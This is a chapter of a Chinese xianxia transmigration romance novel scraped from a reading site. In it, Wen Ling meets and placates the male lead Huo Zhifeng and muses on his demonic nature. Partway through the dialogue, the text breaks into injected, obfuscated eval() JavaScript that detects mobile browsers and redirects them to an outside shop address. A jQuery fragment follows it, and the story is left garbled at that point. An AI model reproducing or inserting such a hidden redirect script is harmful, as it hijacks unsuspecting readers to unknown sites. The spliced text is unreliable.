默认冷灰
24号文字
方正启体

2. 笑姻缘(二)

作者:东山夜读本书字数:K更新时间:
    一夜未眠,次日温铃顶着两个黑眼圈出现在了门前。


    这古代的床看着讲究,可床板太硬,厚重的被子和现代的丝绒质地没得比,睡了一晚就害得她腰酸背痛。


    温铃扶着脖子,抱怨着:“疼死了……”


    系统要是真想给她送福利,别更换什么默认名,给她换张席梦思就好了,又舒服又实用。


    其实陆谦之一大早就来叫过她吃饭。


    他用青涩的语气,隔着门和她说话:“有汤羹和蒸饼,温妹妹一定喜欢。”


    那话语里还隐隐带着邀功的意思,让温铃忍不住偷笑。


    “若我不爱吃汤羹和蒸饼呢?”


    陆谦之随即道:“那……我让后厨再去做些别的。”


    温铃觉得这陆家的二少爷很有些可爱之处,若非他是小说角色,与他来往一定是非常惬意的。


    而且作为云谷镇的大户、陆少仪的宗族,陆家虽算不上当世拔尖的富绅,招待一顿丰盛的朝食还是绰绰有余的。


    这顿朝食又是温铃穿进来后第一次吃上饭,想到书中描绘的佳肴,她胃中馋虫作祟,忍不住生出几分期待。


    温铃踩着步子往后堂走时,一路见着不少态度恭敬的下人,都在偷瞟她脸上的伤,心头有些不自在。


    直到穿过洞门,她在庭院里见到了一个男人的背影。


    这男人身长玉立、清逸翛然,正站在松柏树下仰首看天,雪白的衣衫上映着斑驳晨曦。


    温铃乍一看还以为自己看错了眼,这大早上,怎么会有人站在这儿看风景呢。


    她不由停下脚步,好奇地打量着这个情调过剩的男人,猜想他应该不是陆府的下人。


    这倒不是温铃在搞阶级歧视,作为信奉人人平等的现代社会公民,她坚决反对任何歧视行为,但是男人这一身素净的白衣看上去就不像做杂活的人穿的。


    根据温铃的经验来讲,穿月白衣衫的无非两种人。要么是无关紧要的白丁,是作者懒得描写,要么就是惊才绝艳的出尘人物,类似于西门吹雪。


    眼前的男人,显然是后者那一类型。


    温铃还在心里暗自猜想着,这位“西门吹雪”就已察觉到了她的到来,侧过身回了头。


    就在他脸转过来那一刻,庭院中的气氛变了。


    那双眼睛撞进了温铃的视线里,漆黑如墨,冷淡如冰,映着两轮初晨的光华,纵是不含情,却也似多情目。


    她几乎屏息,好似有人用柳条拂过了心尖。


    眼前人仿佛生来就被天意眷顾,与她从前的平庸人生毫不相关,连被他这样看上一眼,都像是在天地春色间偷得了片刻韶光。


    她从那目光中抽身,觉得自己想得有些夸张了,红着脸轻咳了声,仔细打量起来。


    男人用玉冠束起高耸的马尾,垂下两缕鬓发,鼻梁比寻常中原人高,看起来轮廓分明,年纪也轻。


    至于那身粗看素雅的白衣劲装,其实还绣着矜贵的灰色仙鹤暗纹,实在别扭至极,像是不打算显山露水,却又难敛张扬。


    所谓好看的脸常见,能让人记住的脸不常见,这张俊秀的脸,怕是任何人见了都终生难忘。


    男人无视了她打量的眼神,目光扫过她脸上还未消去的伤痕,勾起了唇角。他虽在笑,笑意却是冷的。


    “师妹在看什么?”


    听清他的话,温铃从失神惊醒,被猛地拉回到现实。


    眼前这个男人,就是霍知风?


    昨夜那么片刻相处,又是在漆黑的屋子里,她根本没机会看清男主的相貌,现下相遇打了她一个措手不及。


    ……霍知风?那个将来堕魔后疯得令人胆寒的霍知风?那个抱着李放盈的尸身淌过血河的霍知风?


    怎么会是眼前这副体面干净的样子?


    见她不答话的惊惧模样,霍知风目光中多了几分探究。


    温铃连忙补救:“我就是觉得师兄……今日出落得越发俊秀了。”


    她说完忍不住低了头,这话本是恭维,但是由她这个身份来说,好像平添了几分不同的意思。


    果然,在她说完后,霍知风脸色愈冷。


    温铃知道,她一定是搞砸了。


    她连忙走上前,挽起霍知风的一只手臂,姑且装作笑得明媚:“师兄你也要去后堂用饭,是不是?咱们一块儿去吧。”


    霍知风见她举止亲昵,愣了片刻,随后双目一敛,抬手用指背摩挲着她的脸颊的疤痕,这动作看似温情,却让温铃感到脊骨发凉。


    他轻声道:“怎么弄的?”


    温铃浑身僵住,霍知风的反应和她想象的不一样。


    按书中所写,霍知风前期虽看在师妹年少的份上,姑且不同她计较,但心底仍是厌恶她的。


    所以他怎么不推开她呢,在筹谋什么精神折磨她的损招吗?


    她局促地低下了头:“昨夜不小心摔的。”


    霍知风又笑了,倾身看她,眸光透着些危险的意思:“看来是回去路上走得急了,怕师兄留你?”


    来了来了,果然回避不开这个话题。


    她干笑着,想往后退开一步,语气多了几分尴尬:“哈哈,师兄,我……”


    霍知风意料之中地没放过她,不动声色将她拉了回来:“我还以为,师妹定当舍不得我。”


    ……若不是发告示麻烦,霍知风就要贴副“此人昨夜猥...亵良家少男”的大字报到她脑门上了吧。


    男主咄咄逼人成这样,文灵还能顶着压力坚持不懈地继续勾搭他,简直精神可嘉,不愧是玉烛笔下的最敬业工具人。


    她该怎么答才好?


    “我应该舍不得吗?”温铃额头上直冒冷汗。


    “哪里话,师妹昨夜不快活吗?”


    什么快活,被扫地出门的快活吗?


    霍知风的指节还在缓慢地摸索着,温铃觉得这就像毒蛇的信子在舔她的脸,弄得她心里又酥又怕。


    “等等,师兄你听我讲——”


    “师妹不必客气,若是不满意,今夜不妨再来一次试试。”男人打断了她,嘴上这样说着,目光却阴冷,意思自然明显得很:她可以试试,但下场什么样就不能保证了。


    温铃承认,被男主这样逼问,她心里其实很挫败。


    无论霍知风将来是什么样,现在看来完全是个仙姿玉骨的人物,被他这样相待,她怎能不颓丧?


    “停,停!”她实在不知如何应对了,只好不管不顾地认错起来,“我知错了,师兄你大人有大量,原谅师妹吧!”


    霍知风在她脸上摩挲的指背突然停了下来,笑意也散去了:“……”


    温铃不敢看他,男主怎么不说话了,难道是嫌她态度不够诚恳?她连忙补充道。


    “我知道的,师兄你肯定是生我的气了。”


    “昨夜我真的错了,我太错了。”


    “我就是……就是……”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125749|196060||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    她脑内寻找了一圈借口,想起了昨夜陆谦之的话。


    “就是听说妖物专爱挑女子下手,想着跟师兄在一起会好些,这才出此下策。既然师兄生气了,那师妹以后绝不敢再犯了。”


    温铃说完竖起三根手指保证着,还用一对水灵灵的眼珠子盯着霍知风,眼里满是恳切之意。


    霍知风盯着她沉默了片刻。这位师妹竟会低头认错,倒是少见,难道是她的缓兵之计?


    他要确认似的低声重复了一遍:“绝不再犯了?”


    温铃不敢迟疑:“一定,肯定,必定,不再犯了。”前提是后面没有什么爬床任务再坑她一次。


    霍知风仍不罢休:“若你再做,又当如何?”


    这是要她起誓吗?温铃心虚地找着自己能接受的代价:“如若再犯,那就让师妹……再摔跟头,可以吗?”


    “……你说呢?”


    她忙道:“我的意思是诸事不顺!如若再犯,师妹从此诸事不顺!”


    反正她已经够不顺了,犯与不犯也没差。


    霍知风不知她今日转了什么性,但看她有所收敛,也不想再浪费时间周旋,抽回了手臂:“你记住今日说的话,最后一次,下不为例。”


    他刚要走,想到了什么,停下脚步冷声又道:“还有,温铃。”


    “在!”她连忙应道。


    霍知风的语气讥讽,像在解释一件极为荒谬的事:“你若是真想避开妖物,就更该离我远些。”


    说完,他不作停留,径直往后堂走了。


    温铃……温铃……被男主直接叫本名的感觉太过怪异,她起了一身鸡皮疙瘩。


    男主应该是暂时放过她了吧?不过,最后那句话是什么意思?


    “啊!”温铃惊叫一声,这才发觉自己刚找了个多蹩脚的借口。


    众所周知,为了吸引读者,言情男主大都有些特别的设定,霍知风不外如是。


    他的特殊设定,就是体质。


    在《凤临仙》这本书里,修仙可依托的途径只有一条,就是五行阴阳,而天生灵力高强者,修行起来也更容易。


    霍知风作为男主,是这世上少见的阴煞体质,生来灵力充盈,可谓天纵之才,拜入月山派后不出一年就被立为首席弟子。


    在这世界里,体质与命理有分不开的联系,千百年来阴煞体质现世,都是降临在妖邪身上,只有霍知风一人竟是人族。


    然而是人族也难以改变根本,他注定是要命里犯妖邪的。


    这一系列设定架在这里,虽让霍知风性情阴冷变得顺理成章,却令情节变得极不合理。


    仙门不做风险评估么,竟然安一颗定时炸弹当首席弟子?


    而且设定上来讲,阴煞之身夺取生灵性命时,还会被杀性侵蚀,一定要有他人从旁扶持才行……


    真是又怪异又麻烦。


    她感叹道:“阴煞重……一听就容易走偏,堕魔也不是什么很意外的事嘛。”


    可是,为什么从前看书的时候她没觉得奇怪呢?


    温铃努力回想,脑内对此仍是一片空白,大概是她记性不好,都给忘了吧。


    她下意识伸手摩挲脸,却发现自己脸上那疤痕已不见了,愣了神。


    是刚才霍知风替她治好了?他不想昨夜的事有机会露馅吗?


    这位师兄的性子真是难以揣摩。


    看着霍知风已经远去的背影,她抬腿追了上去。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)